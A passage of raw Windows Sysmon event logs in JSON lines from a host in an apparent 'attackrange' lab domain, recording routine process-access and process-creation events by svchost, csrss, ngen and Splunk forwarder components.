C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:32.604","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-429C-5F2D-0000-00109E180B00}","TargetProcessId":"4600","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6843,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:32.854\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4488\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-429A-5F2D-0000-0010B5CA0A00}\r\nTargetProcessId: 1164\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+91db|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9168|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8fc5|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:32.854","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4488","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-429A-5F2D-0000-0010B5CA0A00}","TargetProcessId":"1164","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+91db|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9168|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8fc5|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6844,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:32.854\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 660\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-429A-5F2D-0000-0010B5CA0A00}\r\nTargetProcessId: 1164\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:32.854","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"660","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-429A-5F2D-0000-0010B5CA0A00}","TargetProcessId":"1164","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:01:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6845,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:32.932\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-429C-5F2D-0000-0010641C0B00}\r\nTargetProcessId: 1164\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:32.932","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-429C-5F2D-0000-0010641C0B00}","TargetProcessId":"1164","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:36","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":6846,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:36.573\r\nProcessGuid: {90617006-42A0-5F2D-0000-00105B210B00}\r\nProcessId: 4576\r\nImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-MonitorNoHandle.exe\r\nFileVersion: 10.0.10011.16384\r\nDescription: SplunkMonNoHandle Control Program\r\nProduct: Windows (R) Win 7 DDK driver\r\nCompany: Windows (R) Win 7 DDK provider\r\nOriginalFileName: SplunkMonNoHandle.exe\r\nCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-MonitorNoHandle.exe\"\r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: NT AUTHORITY\\SYSTEM\r\nLogonGuid: {90617006-3FD2-5F2D-0000-0020E7030000}\r\nLogonId: 0x3E7\r\nTerminalSessionId: 0\r\nIntegrityLevel: System\r\nHashes: MD5=BF28C74E12839E40CD89696C7CB01573,SHA256=6187325F302F232DE582FE28E0E0D2B292AB8122C3356C9CE295A482D7B93EA3,IMPHASH=27776F2813155A6CF34F6A075A0C2EC8\r\nParentProcessGuid: {90617006-407B-5F2D-0000-0010B4110500}\r\nParentProcessId: 5056\r\nParentImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nParentCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 12:01:36.573","ProcessGuid":"{90617006-42A0-5F2D-0000-00105B210B00}","Image":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-MonitorNoHandle.exe","FileVersion":"10.0.10011.16384","Description":"SplunkMonNoHandle Control Program","Product":"Windows (R) Win 7 DDK driver","Company":"Windows (R) Win 7 DDK provider","OriginalFileName":"SplunkMonNoHandle.exe","CommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-MonitorNoHandle.exe\"","CurrentDirectory":"C:\\Windows\\system32\\","User":"NT AUTHORITY\\SYSTEM","LogonGuid":"{90617006-3FD2-5F2D-0000-0020E7030000}","LogonId":"0x3e7","TerminalSessionId":"0","IntegrityLevel":"System","Hashes":"MD5=BF28C74E12839E40CD89696C7CB01573,SHA256=6187325F302F232DE582FE28E0E0D2B292AB8122C3356C9CE295A482D7B93EA3,IMPHASH=27776F2813155A6CF34F6A075A0C2EC8","ParentProcessGuid":"{90617006-407B-5F2D-0000-0010B4110500}","ParentProcessId":"5056","ParentImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","ParentCommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","EventReceivedTime":"2020-08-07 12:01:37","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:36","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6847,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:36.572\r\nSourceProcessGUID: {90617006-407B-5F2D-0000-0010B4110500}\r\nSourceProcessId: 5056\r\nSourceThreadId: 3932\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nTargetProcessGUID: {90617006-42A0-5F2D-0000-00105B210B00}\r\nTargetProcessId: 4576\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-MonitorNoHandle.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ce6a3b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17cade|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18641d|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17ef16|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c992c4|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18689b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+189d3c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c95f5f|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c99fad|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+184c5b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c7dd7e|C:\\Windows\\System32\\ucrtbase.dll+1fb80|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:36.572","SourceProcessGUID":"{90617006-407B-5F2D-0000-0010B4110500}","SourceProcessId":"5056","SourceThreadId":"3932","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","TargetProcessGUID":"{90617006-42A0-5F2D-0000-00105B210B00}","TargetProcessId":"4576","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-MonitorNoHandle.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ce6a3b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17cade|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18641d|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17ef16|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c992c4|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18689b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+189d3c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c95f5f|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c99fad|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+184c5b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c7dd7e|C:\\Windows\\System32\\ucrtbase.dll+1fb80|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:37","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:36","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6848,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:36.572\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 2376\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-42A0-5F2D-0000-00105B210B00}\r\nTargetProcessId: 4576\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-MonitorNoHandle.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:36.572","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"2376","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-42A0-5F2D-0000-00105B210B00}","TargetProcessId":"4576","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-MonitorNoHandle.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:01:37","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:36","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6849,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:36.572\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:36.572","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:37","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:36","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6850,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:36.572\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:36.572","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:37","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} 